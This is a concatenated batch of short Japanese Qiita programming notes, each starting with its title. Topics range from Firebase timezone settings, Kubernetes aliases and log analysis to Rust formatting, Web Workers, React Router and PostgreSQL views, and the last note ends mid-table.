OmniAICreator/Qiita-1.07M huggingface dataset:
Javadoc（随時更新）

# コマンドプロンプトでの実行
以下コマンドをカレントディレクトリにて実行。

```
javadoc -d doc ****.java
```
日本語を使用する場合は、`-encoding UTF-8`を追加。
コード内かコメント内かは問わない。

```
javadoc -d doc ****.java -encoding UTF-8
```
Firebase FunctionsのTimezoneを変更する

# なにが問題か

はじめに、Firebase FunctionsのデフォルトTimezoneは **UTC** です。

```js
console.log(process.env.TZ);
// -> undefined
```

これはタイムスタンプとの比較などを行う分には問題有りませんが、日付や時刻を操作しようとするととたんに問題になります。

例えば1日の開始時間を取得したい場合、日本時間で考えているとズレが生じます。

```js
import { startOfDay } from 'date-fns';

const now = new Date();
// -> 2022-01-26T23:00:00.000Z （日本時間では 2022-01-27 08:00:00）
console.log(startOfDay(now));
// -> 2022-01-26T00:00:00.000Z （日本時間では 2022-01-26 09:00:00）

本来は日本時間での 2022-01-27 00:00:00 が取得したいのに、2022-01-26 09:00:00 になってしまう
```

# 上手く動かない対応

regionやscheduleのtimezoneを指定してもTimezoneは変わりません

```js
// どちらもTimezoneには影響しない
functions
  .region('asia-northeast1')
  .https
  .onRequest(async (req, res) => {
});

functions
  .region('asia-northeast1')
  .pubsub.schedule('* * * * *')
  .timeZone('Asia/Tokyo')
  .onRun(async () => {
})
```

# Timezoneを変更する

Functionのランタイム環境変数にTZを追加することで変更します。

## GCPコンソールからの変更

Google Cloud PlatformのCloud Functionから目的の関数の詳細に入り、編集リンクを開きます。
ランタイム環境変数の設定項目があるので、以下を追加しデプロイします。

- 名前: `TZ`
- 値: `Asia/Tokyo`

ただ関数一つ一つの設定が必要なので面倒です。
可能であればコードベースで管理したい。

## GCloudコマンドでデプロイ

gcloudコマンドで関数をデプロイする場合、環境変数を渡せるようです。

```sh
$ gcloud functions deploy "secretDemo" \
    --runtime "nodejs14" \
    --trigger-http \
    --allow-unauthenticated \
    --set-env-vars "TOKEN=abcd1234"
```

https://cloud.google.com/blog/ja/products/serverless/cloud-functions-integrates-with-google-secret-manager

こちらもデプロイ毎に指定が必要なので面倒です。
やっぱり可能であればコードベースで管理したい。

## Functionsのコードから変更

```js
process.env.TZ = "Asia/Tokyo";

export const checkTimezone = functions.region('asia-northeast1').https.onRequest(async (req, res) => {
  console.info(process.env.TZ)
  // -> Asia/Tokyo
});
```

コレが一番いいかもしれない。

## 変更した結果

すると先程の実行結果が変わってくるはずです。

```js
import { startOfDay } from 'date-fns';

console.log(process.env.TZ);
// -> Asia/Tokyo
const now = new Date();
// -> 2022-01-26T23:00:00.000Z （日本時間では 2022-01-27 08:00:00）
console.log(startOfDay(now));
// -> 2022-01-26T15:00:00.000Z （日本時間では 2022-01-27 00:00:00）
```
SQLBoilerでエラー：Error: unable to initialize tables: unable to fetch table data

# はじめに
SQLBoilerで`sqlboiler mysql`コマンドをうったときにエラーが出ました。

- Go: v1.16
- SQLBoiler: v4.8.3


# エラー内容
```
Error: unable to initialize tables: unable to fetch table data: something totally unexpected happened when running the binary driver /app/go/base/sqlboiler-mysql: fork/exec /app/go/base/sqlboiler-mysql: no such file or directory
```

# 解決方法
ドライバーが入ってなかったので、

```
$ go get github.com/volatiletech/sqlboiler/v4/drivers/sqlboiler-mysql
```

でドライバーを追加したらOKでした。
lambda 関数作るときのメモ

### 1. 概要

lambda関数作成するとき、忘れてググるやるまとめる

### 2. 目次
- [1. 概要](#1-概要)
- [2. 目次](#2-目次)
  - [2.1. layer の追加](#21-layer-の追加)
- [3. 参考](#3-参考)


#### 2.1. layer の追加

1. `pip install -t {dir_name} {package_name}` でパッケージをdir_nameにインストールする
   * dir_name を python にする事で、lambda関数内でパスを指定する必要がなくなる
2. `zip -r9 layer.zip python` で zip化する
3. AWS コンソールからレイヤーの作成→zipをアップロードする
4. arn を取得し、レイヤーの追加でarnを指定する





### 3. 参考
* [Lambda レイヤーの作成と共有](https://docs.aws.amazon.com/ja_jp/lambda/latest/dg/configuration-layers.html)
* [【AWS】LambdaにrequestsライブラリをLayerで追加する](https://sebenkyo.com/2021/05/21/post-1979/)
JavascriptでlocalStorageを使う【メモ】

##localStorageとは
localStorageとは簡単に言うとWebブラウザにデータを保存できる場所のこと。


##localStorageにデータ保存

```php:index.js

//setItemメソッドの第一引数にはキー、第2引数には値

localStorage.setItem('key', 'value')
```

##localStorageからデータを取得

```php:index.js

//getItemメソッドにはキーを指定

const result = localStorage.getItem('key')

console.log(result)

//出力結果： value

```

##localStorageのデータを削除

```php:index.js


localStorage.removeItem('key')


```

##応用・その他
参考

https://coders-shelf.com/react-auth-problem/
Unique IP 調べる


1回目

```
cat {logfile} | grep -e "2021/11/04 12:5" -e "2021/11/04 13:0" -e "2021/11/04 13:1" | grep "GET /item/" | awk -F "," '{print $2}' | sort | uniq -c | wc -l
```

2回目

```
$ cat {logfile} | grep -e "2022-01-17T15:32" -e "2022-01-17T15:33" -e "2022-01-17T15:34" > sample.log
$ cat sample.log | wc -l
19140
$ cat sample.log | grep "status:200" | wc -l
18868

$ cat sample.log | awk -F "\t" '{print $2}' |  sort | uniq -c | sort | wc -l
    4141
$ cat sample.log | awk -F "\t" '{print $2}' |  sort | uniq -c | sort | tail
...
  86 client:AA.BB.CC.DD
  90 client:aa.bb.cc.dd
...
```
Kubernetes RequestsとLimits


Request: Podが最低限必要とするCPUとメモリの容量
Limits: Podの負荷が高まった際に使えるCPUとメモリの最大容量

https://blog.newrelic.co.jp/best-practices/set-requests-and-limits-for-your-clustercapacity-management/#:~:text=Requests%E3%81%AF%E3%80%81Pod%E3%81%8C%E6%9C%80%E4%BD%8E,%E3%83%A1%E3%83%A2%E3%83%AA%E3%81%AE%E6%9C%80%E5%A4%A7%E5%AE%B9%E9%87%8F%E3%81%A7%E3%81%99%E3%80%82



kubectl top pod で見れる、CPU は、実際の使用量を出力する。
https://ameblo.jp/bakery-diary/entry-12615738013.html


1m など、単位は
CPU
CPUの使用量には「m」の単位がついています。これは10−310−3を表す「ミリ」で、「1(v)CPU=1000m」となります。
https://qiita.com/dingtianhongjie/items/2708a00c88e7713a8051


833 の　イメージ番号がJenkins 上でデプロイされたもの
Image:          stg-zedregistry1101z.stg.jp.local/ecfd-rbic/bic-item-gw-api:7484f1336bf-833-stgrc
App Server とNginx (Reverse proxy server)の違い

## 疑問
Springboot や Flask でWeb Server を立てられるなら，Nginx (Web server)いらなくないかという疑問。

## 疑問を持った理由。
springboot やflask でアプリケーションを立ち上げるときに使用されるサーバーは，
開発向けの簡易的なサーバーの機能しか持っていない．

そのため，大量のアクセスを同時にさばくためには，それ専用の機能を持ったサーバを用意する必要がある．
それが， **Apache** や **nginx** が該当する．

以下引用: https://ja.stackoverflow.com/questions/51889/%E3%82%A2%E3%83%97%E3%83%AA%E3%82%B1%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%82%B5%E3%83%BC%E3%83%90%E3%81%A8web%E3%82%B5%E3%83%BC%E3%83%90%E3%81%AE%E9%81%95%E3%81%84
> ApacheやNginxなどのWebサーバをAPサーバのフロントに配置する主な目的は、以下のようなことだと思います。
> - 負荷分散
> - セキュリティの強化
> - 静的ファイルの処理の高速化
> - Webサーバにしかない機能の利用
WSGI

## WSGI とは
WSGIはWeb Server Gateway Interfaceの略
gateway interface の名前より，インターフェースのこと．つまり仕様と捉えられる．
(具体的な実体があるわけではなく， 形式的な決まりごとのこと．)
サーバーとアプリケーション(フレームワーク)をつなぐインターフェースとしての役割を持ったライブラリのことをいう．

具体的には, Nginx(WEBサーバー) と Django(アプリケーション/フレームワーク) を繋ぐ役割をしている．

## 他の言語のフレームワークでも使われている？
他の言語には他の言語のWeb Server Gateway Interfaceが存在する
ruby なら，Rackが該当する．
（このRack は， WSGI 影響されて開発された．)
Intellij Unit テスト実行方法

1, 直接Junit の設定をして、テスト実行するパターン

1, intellij の右上、からedit configuration 
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/239544/adf9889e-ebfe-b403-58ec-34730baca361.png)

2, 設定を以下のように。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/239544/e623008c-5f24-ec26-f481-553ef96a68d5.png)

3, 緑三角の実行ボタンをクリック。

他のパターン

2, gradle ツールから実行するパターン

Tasks > verification > test をクリックする。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/239544/2ec61a3c-3f59-2f40-92ea-0a1228e5a181.png)
git rebase方法メモ



```
git rebase -i {まとめたいcommit中一番最初のcommmitのハッシュ}
(vi:1回目)vi で %s/pick/fixup/g 
vi上, 一番上のコミット(一番最初のコミット)のみpick に戻す。
(vi:2回目)コミットメッセージ入力
```
Kubernetes 便利なAlias

### k8s でよく使うAlias

```
# ALIAS
alias kgp="kubectl get pods"
alias kgs="kubectl get services"
alias kgd="kubectl get deployments"
alias kgi="kubectl get ingress"
alias kgpg="kubectl get pods | grep "
alias kgsg="kubectl get services | grep "
alias kgdg="kubectl get deployments | grep "
alias kgig="kubectl get ingress | grep "
alias kdp="kubectl describe pods"
alias kds="kubectl describe services"
alias kdd="kubectl describe deployments"
alias kdi="kubectl describe ingress"
alias kex="kubectl exec -it "
alias ked="kubectl edit deployments"
alias kes="kubectl edit services"
alias kgi="kubectl get ingress"
alias kl="kubectl logs -f "
```
Rust - プレースホルダーについて

## はじめに

この記事は、私が Rust の学習時に書いた備忘録となります。間違い等があればコメント等で教えていただけると助かります。

## プレースホルダーとは

Rust において、`println!`, `eprintln!`, `format!` 等のマクロに文字を埋め込むには、波括弧 `{}` を使用する。これがプレースホルダーとなる。

```rs
fn main() {
    println!("あ{}う{}お", "い", "え"); // あいうえお
    println!("1 {} 3 {} 5", 2, 4); // 1 2 3 4 5
}
```

### 引数の順序指定

プレースホルダー内に添字を指定すれば並びを変えることができる。また、同じ引数を複数回使用することも可能。

```rs
println!("A{1}C{0}", "D", "B"); // ABCD
println!("贵樣{1}{1}{1}{1}{1}{0}", "!", "ァ"); // 贵樣ァァァァァ!
```

### 名前指定

引数に名前を付けると、可読性を向上させることができる。プレースホルダー内に指定した名前を指定すればよい。

```rs
println!(
    "い{ro}は{ni}ほ{he}と",
    ni="に",
    he="へ",
    ro="ろ"
); // いろはにほへと
```

### n進数や指数表記にフォーマット

数値を他の形式にフォーマットすることも可能。

```rs
let int = 14;
println!("bin(2進数): {x:b}" ,x=int);
println!("oct(8進数): {x:o}" ,x=int);
println!("hex(16進数): {x:x}" ,x=int);
println!("exp(指数表記): {x:e}" ,x=int);
println!("HEX(大文字16進数): {x:X}" ,x=int);
println!("EXP(大文字指数表記): {x:E}" ,x=int);
println!("#を付けると整形: {x:#x}" ,x=int);
```

出力結果は以下の通り:

```
bin(2進数): 1110
oct(8進数): 16
hex(16進数): e
exp(指数表記): 1.4e1
HEX(大文字16進数): E
EXP(大文字指数表記): 1.4E1
#を付けると整形: 0xe
```

### 桁操作

- `x:<n`: `x` の値を左寄せに配置して n 桁になる様に後ろに半角空白が入る。
- `x:>n`: `x` の値を右寄せに配置して n 桁になる様に前に半角空白が入る。
- `x:^n`: `x` の値を中央寄せに配置して n 桁になる様に両端に半角空白が入る。ただし、奇数桁の場合は後ろの半角空白が1つ多くなる。

`n` の部分に直接数値を書かない場合は `n$` の様に記載する。

また、`x:0n` の様にすれば0で埋めることができる。もちろん0以外の文字も使用可能。

```rs
let x = 1000;
println!("{:<6}('ω' )", x); // 1000  ('ω' )
println!("( 'ω'){:>n$}", x, n=6); // ( 'ω')  1000
println!("( 'ω'){:^6}('ω' )", x); // ( 'ω') 1000 ('ω' )
println!("( 'ω'){:^7}('ω' )", x); // ( 'ω') 1000  ('ω' )
println!("{:06}", 1); // 000001
println!("{:优^10}", x); // 优优优1000优优优
```

### 小数の桁操作

`x:.n` で x を小数第 n 位まで表示することができる。

```rs
println!("{:.5}", 0.01); // 0.01000
println!("{:.1$}", 0.01, 5); // 0.01000
println!("{:.3}", 0.0001); // 0.000
```

---

その他詳しい内容については標準ライブラリの `fmt` モジュールのドキュメントを参照されたし。

- [std::fmt - Rust](https://doc.rust-lang.org/std/fmt)
Javascript スプレッド演算子メモ


## 概要
スプレッド演算子がなにかわからない

```js
// このようにも書ける1
...mapGetters([
      'getGenreById'
])
```

この...の書き方わからなかった．


## 結果
javascript のスプレッド演算子の書き方であった． Vue.js に依存する書き方ではない．

参考: https://www.it-swarm-ja.tech/ja/javascript/%E3%82%B9%E3%83%97%E3%83%AC%E3%83%83%E3%83%89%E6%A7%8B%E6%96%87%EF%BC%88%EF%BC%89%E3%81%AFmapgetters%E3%81%A7%E3%81%A9%E3%81%AE%E3%82%88%E3%81%86%E3%81%AB%E6%A9%9F%E8%83%BD%E3%81%97%E3%81%BE%E3%81%99%E3%81%8B%EF%BC%9F/836866119/
```
mapGettersとmapActionsは、基本的にvuexが提供するヘルパーであり、メソッド名としてキーを持ち、定義が定義されたメソッドとして値を持つオブジェクトを返します。このオブジェクトを...（オブジェクトスプレッド演算子）と組み合わせると、それを計算オブジェクトまたはメソッドオブジェクトの個々の関数にそれぞれ広げます。
```

## 実装例

```moview_list.vue
<script>
import axios from "axios";
import {mapState, mapGetters} from 'vuex';
export default {
    created() {
        this.$store.dispatch('set_movie_list')
    },
    computed: {
        saleMovies(){
            return this.$store.getters.saleMovies;
        },
        // このようにも書ける1
        // ...mapGetters([
        //     'getGenreById'
        // ])
        // このようにも書ける2
        getGenreById() { 
            return this.$store.getters.getGenreById;
        },
    }, 
}
</script>
```
k8s memory cpu

Pod のLimitsのcpuとmemory を一覧で表示させる

```
$ for pod in `kubectl get pods | sed -E 's/ .*$//'`; do echo ${pod};kubectl describe po ${pod} | grep -A2 'Limits:' | head -n3; done

>>>

Pod1
    Limits:
      cpu:     2
      memory:  4Gi
Pod2
    Limits:
      cpu:     2
      memory:  4Gi
Pod3
    Limits:
      cpu:     2
      memory:  4Gi
...

```
CentOS7のブートUSBを作成する方法

# はじめに
会社でWindowsが入っているパソコンにCentOS7を入れる必要が出てきたため、備忘録もかねてブートUSBの作成方法を記事にすることにしました。

## 目次
1. CentOSのisoファイルのダウンロード
2. Rufusのダウンロード
3. ブートUSBの作成

## 1.CentOSのisoファイルのダウンロード
[こちら](https://www.centos.org/download/)から以下のようなダウンロード画面へ行くことができるので、ここからDVD isoをダウンロードをしてください。
![CentOS7ダウンロード画面.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/886474/60f6800f-1b11-5aeb-f851-3c02c99c43e6.png)

## 2.Rufasのダウンロード
[こちら](https://rufus.ie/ja/)からRufasのダウンロード画面へ行くことができます。

## 3.ブートUSBの作成
Rufasを起動すると以下のような画像が表示されます。
![Rufus設定画面1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/886474/c7c6b21c-9c9f-fb53-4db0-c95fe060385b.png)
デバイスにはUSBを選択して下さい。
ブートの種類の欄からダウンロードしたDVD isoを選択してください。
最後にスタートをクリックするとブートUSBの作成が始まります。

## おわりに
はじめてのことだったので調べながら行いました。同じようなことで困っている人の助けになれば幸いです。

### 参考記事
[USBメモリ内のISOファイルからブートするには「Rufus」が便利](https://onoredekaiketsu.com/rufus-if-booting-from-usb/)
JavaScript: Web Workerを動かす最小限のコード

本稿では、JavaScriptのWeb Workerを手軽に試すために、Web Workerを動かすための最小限の手順とコードを示します。

## 使わないもの

最小限構成でいくので以下は使いません:

- コンパイラ: TypeScriptなどは使わず、素のJavaScriptで。
- バンドラー: webpackなどは使いません。
- フレームワークやライブラリ: ReactやNPMモジュールも一切なしでいきます。

## コード量も最小限

- コードも過剰にならない範囲でシンプルにします。
- ファイル数もできるだけ少なく済ませます。

## Web Workerとは

Web Workerは、雑に言うと、ブラウザ上でCPU負荷が大きい処理を動かすのに役立つ仕組みです。ワーカーの処理は、UI側の処理をブロックしないのが特徴です。ワーカーにはUIとは別のスレッドが割り当てられます。CPUを複数台積んでるパソコンなら、ワーカーはマルチコアを活用できる可能生があります。

詳しい説明はMDNなどを御覧ください。

https://developer.mozilla.org/ja/docs/Web/API/Web_Workers_API/Using_web_workers

## Web Workerを動かす最小限の手順とコード

### ワーカーを起動させてみよう

まず、index.htmlを作ります。

```index.html
<!DOCTYPE html>
<meta charset="UTF-8" />
<script>
  // ワーカーを起動するコード
  const myWorker = new Worker("worker.js");
</script>
```

次に、worker.jsにワーカーの実装を書きます。

```worker.js
console.log("✅worker started!");
```

index.htmlからworker.jsを参照できるように、この2つのファイルは同じディレクトリに置きます。

```
.
├── index.html
└── worker.js
```

Google Chromeでは`file://`プロトコルではWeb Workerを起動できないので、ローカルにHTTPサーバーを立ててHTTP越しにindex.htmlを開きます。index.htmlとworker.jsがGETできればHTTPサーバーは何でもいいのですが、[http-server](https://www.npmjs.com/package/http-server)が手軽なのでここではこれを使います。

```bash
# index.htmlがあるディレクトリでHTTPサーバーを起動する
npx http-server -c-1
```

`http://127.0.0.1:8080`にアクセスします。Google ChromeのDev ToolsのConsoleを開いて、「worker started!」と表示されていれば、起動成功です。

![20220127_101634.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/889/42c47e78-d63b-1e8c-38c8-5e07c21264f3.png)

## ワーカーにメッセージを送ってみよう

親とワーカーの通信は、メッセージを介して行います。ワーカー側でメッセージを受け取るには、`message`イベントを購読します。具体的には次のコードを`worker.js`に追加します。

```worker.js
// メッセージイベントを購読する
self.addEventListener("message", (e) => {
  // メッセージを受け取ったときに動かすコード
  console.log("worker received a message", e);
});
```

ワーカーにメッセージを送るには、ワーカーオブジェクトの`postMessage`メソッドを使います。

```index.html
<script>
  // ワーカーを起動するコード
  const myWorker = new Worker("worker.js");
  // メッセージを送信する
  myWorker.postMessage("hey");
</script>
```

コードを追記したら、ブラウザをリロードします。すると、コンソールに「worker received a message: hey」と表示されるはずです。

![20220127_103335.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/889/d35c56fb-1d9d-f538-5a0c-7264f06d5a85.png)

### ワーカーからメッセージを受信してみよう

ワーカーからのメッセージを親が受信するには、ワーカーオブジェクトの`message`イベントを購読します。

```index.html
<script>
  // ワーカーを起動するコード
  const myWorker = new Worker("worker.js");
  // ...中略...
  // ワーカーからのメッセージを受信する
  myWorker.addEventListener("message", (e) => {
    console.log("parent received message:", e.data);
  });
</script>
```

ワーカーからは`self.postMessage`メソッドでメッセージを送信します。

```worker.js
console.log("✅worker started!");

// ...中略...

// 親にメッセージを送信する
self.postMessage("hello");
```

## まとめ

- Web Workerは重い処理をバックグラウンドで動かすのに役立つ仕組み
- Web Workerの起動は`new Worker(ファイル名)`
- 親とワーカーのコミュニケーションはメッセージの送受信
    - 受信は`message`イベントを購読する
    - 送信は`postMessage`メソッドを呼ぶ
We no longer support global installation of Create React App 解決

## エラーメッセージ

npx create-react-app <my-app> を使いたい時に以下のエラーメッセージが表示さば、この記事の手順に従ってください。


>We no longer support global installation of Create React App.
Please remove any global installs with one of the following commands:
- npm uninstall -g create-react-app
- yarn global remove create-react-app

## アンインストール


`npm uninstall -g create-react-app`を実行してましょう。

次はnpxキャッシュをクリアしましょう:`npx clear-npx-cache`.

## 問題が解決しました

これで`npx create-react-app <my-app>`は実行出来ます。
Obsidianの小技その10｜ワンクリックで検索する

## はじめに

超絶便利なメモツール[Obsidian](https://obsidian.md)。できることが多すぎ、とっつきにくいところがあるかとおもいます。脳に余白をつくりストレスフリーになれる「特にいいかんじの小技」をご紹介いたします。

### この記事を読むとできること

ワンクリックで、いろいろな条件での検索ができるようになります。

### 記事を書くにいたった背景

検索ペインをふつうにつかっているだけでもじゅうぶん便利ですが、あまり解説されていない「おっとそんな便利な方法あったのか」が隠されています。Obsidianの使いかたが変わるぐらい便利なので、ご紹介したいとおもいました。

## 概要：ワンクリックで検索ペインを呼び出す

ちょっとややこしいんですが、これは絶品です。URIと呼ばれるリンクをつくると、クリックすると指定した条件で検索ペインが開きます。「検索条件を保存」をリンク化できるということです。

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/184128/d235633d-5f59-08df-e1b0-8ff5d1d1c17e.png" width=80%>

### どうやってつかうと便利か

いろいろなアイディアがあると思いますが、実例をひとつご紹介します。

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/184128/cb05b201-30fe-42b5-f8de-ab1644c6e8d7.png" width=80%>

- 検索URIをあつめたノートをひとつつくります
- デイリーノートの末尾に、上記ノートを貼ります（`![[URIを集めたノート]]`とする）
- デイリーノートを開いているとき、`G`で末尾にジャンプし（vimモードの場合）、検索したいリンクをクリックします
- たとえば`file:202 inbox`の検索URIをクリックすると、「デイリーノートで、inboxのところ」を表示してくれます。わたしの場合は「過去にやろうとおもってメモしたが、まだ終わっていないもの」が瞬時に一覧化されることになります。

### URIの書式

```markdown
[表示テキスト](<obsidian://search?vault=yyyyyyyy&query=xxxx>)
```

- 保管庫の名前を`yyyyyyyy `に記述します。（保管庫の名前はObsidianのタイトルバーに表示されています）
- 検索条件は`xxxx`に記述します。`file:xxxx`などもつかえます
- ヘルプドキュメントでは`<>`で囲っていないのですが、`file:xxxx zzzz`など、検索条件にスペースが含まれる場合を想定して、`<>`で囲っておくと安全です。


## 詳細

普通の検索ペインと、検索ペインの埋め込みをご紹介します。

普通に検索ペインを使う→ノート内に検索ペインを埋め込む→URIで検索ペインを開く、とつかいかたが進化します。進化の過程を追うと、URI検索が腹に落ちやすいのではないかとおもいます。

## ふつうに検索ペインをつかう

左側の`🔍`タブを開き、検索ワードを打ち込むと、Obsidianの全ファイルを対象に検索します。

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/184128/1014fbf6-514c-b25a-af8e-c906ba2a9f27.png" width=80%>

### そのほかの検索ペインの開きかた

下記でも検索ペインが開けます。

- `command(control) + shift + F`
- `command(control) + P` > `検索`と入力

### 便利な検索ワード

文字を打ち込むだけでもいいですが、下記もよく使います。

- `file:xxxx`とすると、「ファイル名にxxxxがつくもの」を検索します
- `file:xxxx yyyy`とすると「ファイル名にxxxxがつき、内容にyyyyが入っているもの」を検索します
- `tag:xxxx`とすると、「タグがxxxxであるもの」を検索します
- `/`で開始すると、正規表現がつかえます。こんなものをわりとよく使います
    - `/^xxxx`：行の冒頭にxxxxがあるもの
    - `/xxxx$`：行の末尾にxxxxがあるもの
    - `/^#{1,2}\s`：見出し1と見出し2のみ（数字を変えれば結果が変わります）

## ノートに検索ペインの結果を貼る

ノートの本文に下記のようなコードブロックを書くと、xxxxを検索ワードにして、検索ペインの結果を（リーディングモードで）表示します。

```
    ```query
    xxxx
    ```
```

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/184128/7fc20ff4-8245-27ba-a1c4-9a47be2c0799.png" width=80%>

`xxxx`の部分は、もちろん`file:xxxx`などにできます。


### 検索URIをつかう

これら「普通の検索ペイン」「検索ペインの埋め込み」もじゅうぶん便利なのですが、それでは物足りないときに「検索URI」をつかうとハッピーになれます。

「検索結果の保存」機能がないのですが、「埋め込み」や「URI」をつかうほうが、Obsidianとしてはつかいかたが広がるのではないでしょうか。

## おわりに

ちょっと大技っぽいですが、ひとつひとつの要素は小技で、連携・応用するとすごく便利になるという、Obsidianらしいつかいかたじゃないかなとおもいました。

「プレビューモードではURIをクリックしても検索ペインが開かない」バグがありましたが、0.13.22で修正されています。0.13.21以下のかたは、Obsidianをアップデートしてください。

### 参考リンク

[Obsidian｜使いかたとコツ（目次）](https://qiita.com/hann-solo/items/ac8fa75394813e8adcf4)


### 環境

ここで書いていることは、下記のバージョンで実施しました。

- Obsidian 0.13.22
- macOS Monterey 12.1
- MacBook Pro (13-inch, 2020, Four Thunderbolt 3 Ports)
moodleを日本語化する

# moodleを日本語化する

前の記事
[Windows上のDockerを使ってbitnamiのmoodleを構築してみる](https://qiita.com/akahide77/items/fcb0e4078d8f3fa6dffc)

## moodleに管理者でログインする

ログイン後の画面
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/236501/d14c73bd-4375-665c-0ff6-3894e76eb628.png)

## Language packの設定画面を開く
画面左ペインより下記の通り遷移する
**[Site administration]**->**[Language]**->**[Language packs]**
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/236501/43901f3b-a91f-b47b-c1da-bcd099df4cf7.png)

## Language packをインストールする

**Language Import utility**の**Available language packs**から**Japanese / 日本語(ja)**を選び**Install selected language pack(s)**を押す
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/236501/37be7722-c346-ef94-b5e0-e9d08bb37dd5.png)

下記の通り何か怒られたけど気にしない

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/236501/6d232af8-d00a-91da-2fbd-dff3742e1ceb.png)

## Default languageを変更する
画面左ペインより下記の通り遷移する
**[Site administration]**->**[Language]**
**Default language**を**日本語(ja)**に変更し**Save Changesタンを押す
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/236501/77ea4ec0-5b3c-c10a-65e2-b5d38195226c.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/236501/bc30de3f-e15b-8bee-d48c-aa82317160c8.png)

## 表示中の言語を変更する

画面上部の言語設定？のところで日本語(ja)を選択する

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/236501/944a7c52-414b-4b74-09f3-1e6584db892e.png)

日本語になった！

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/236501/feff1ade-a6c3-fefe-d266-82d9d6b86a4c.png)
react-router-domのv5, v6の違い

react-router-domのv5, v6の記述方法に若干違いがあるので紹介していきます。


## Switch → Routes に変更
* v5では、RouteをSwitchで囲みますが、v6では、SwitchをRoutesに変えます。

##  Route内の記述方法

* Route内の記述方法ですが、v5ではexact component={遷移先コンポーネント}のように書いていましたが、v6では exactはいらなくなり、element={<遷移先コンポーネント />} のように書きます。


上記をコードに書くと下記のようになります。

****


__v5の場合__

```php:app.js
import React from 'react';
import { Container } from '@material-ui/core';
import { BrowserRouter, Switch, Route } from 'react-router-dom'; //Switch

import Navbar from './components/Navbar/Navbar';
import Home from './components/Home/Home';
import Auth from './components/Auth/Auth';

const App = () => {
  return (
    <BrowserRouter>
      <Container maxWidth="lg">
        <Navbar />
        <Switch> //v5
          <Route path="/" exact component={Home} />  //v5
          <Route path="/auth" exact component={Home} /> //v5
        </Switch>
      </Container>
    </BrowserRouter>
  );
};

export default App;


```







__v6の場合__

```php:app.js
import React from 'react';
import { Container } from '@material-ui/core';
import { BrowserRouter, Routes, Route } from 'react-router-dom'; //Routes

import Navbar from './components/Navbar/Navbar';
import Home from './components/Home/Home';
import Auth from './components/Auth/Auth';

const App = () => {
  return (
    <BrowserRouter>
      <Container maxWidth="lg">
        <Navbar />
        <Routes> //v6
          <Route path="/" element={<Home />} /> //v6
          <Route path="/auth" element={<Auth />} /> //v6
        </Routes>
      </Container>
    </BrowserRouter>
  );
};

export default App;


```


##useHistory → useNavigate に変更

```php:index.js
import { useHistory } from 'react-router-dom'; //v5
import { useNavigate } from 'react-router-dom'; //v6

// v5
const history = useHistory();
history.push("/");
history.goBack();

// v6
const navigate = useNavigate();
navigate("/");
navigate(-1);

```

##まとめ
個人的にはv6になって直感的に書きやすいなと思っています！
他にも詳しく知りたい方がいれば、下記のリンクを参考にしてみて下さい！

##参考
https://dev.classmethod.jp/articles/react-router-5to6/

https://qiita.com/kyo212/items/c5810261b8a449f43bfa
【VSCode】句点で改行する

個人的なメモ

Texを書くときは、基本的に改行は文章に影響しないので、句点で改行した方が見やすいのではないかと思って。（git管理するときにもよさそう。あと行数が増えるからうれしい）

「句点＋何かの文字」　という正規表現に一致したところを「句点(改行)何かの文字」に変換します。
句点の後に文字がない（すでに改行されてる）ときには新たに改行しないようにしました。

# 置換コマンド

VSCodeの置換機能を用いて行います。

```:Find
。(.)
```

```:Replace
。\n$1
```
React RouterでCannot GETと出た時の対応と原因

## はじめに
URLを直接していると、Cannot GET ...と表示されてしまう。
![スクリーンショット 2022-01-27 9.20.59.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/396152/6b867c26-f9da-3304-b781-07d45d882c12.png)

## 対処法
webpack.configのdevServerの設定に下記を追加

```
historyApiFallback: true,
```

## 原因
https://webpack.js.org/configuration/dev-server/#devserverhistoryapifallback

公式ドキュメントを翻訳してみると...
> HTML5 History API を使用する場合、404 レスポンスの代わりに index.html ページを提供する必要がある可能性があります。devServer.historyApiFallback を true に設定し、有効にします。

SPAみたいに、論理パスを設定することによってルーティングを実装している場合、実際のパスはないため、404エラーを返すけど、上記の設定によって、index.htmlページを返し、そのページに設定してあるルーティング設定をもとにSPAを実現しているようです！
【postgres】VIEWの使い方

# 目的
VIEWは割と業務で使うようなので、本で学んだ内容をまとめて、実行することで理解を深める。

# 環境
PostgreSQL 14.1 (Ubuntu 14.1-1.pgdg18.04+1) on x86_64-pc-linux-gnu

大量データの登録方法は「[【Postgres】SQLの勉強のために大量のテストデータを登録してみる」](https://qiita.com/yutoun/items/2033a62d62812da359ed)にて確認。
# VIEWとは
テーブルのようだが、SELECT文を保存するクリップボードのようなものでデータそのものは格納していない 

→ 元のテーブルが更新されると自動で更新される　

## view vs table
**実際にSELECTすると、テーブルが表示されるのは同じ**

テーブルを作ってINSERTするとそのデータは記憶装置に保存される。

viewはどこにも保存せず、SELECT文があるだけ。呼び出された時にそれを使って仮想のテーブルのようなものを作って返す。
# 前提
テーブルは下記のものを用意。
テストテーブルレコードの大量作成はこの記事を確認。


```sql

--profileテーブル--

profile_id |  first_name  |  last_name   |  age
----------+--------------+--------------+--------
        1 | 田中1        | 太郎1        | 1才
        2 | 田中2        | 太郎2        | 2才
        3 | 田中3        | 太郎3        | 3才
        4 | 田中4        | 太郎4        | 4才
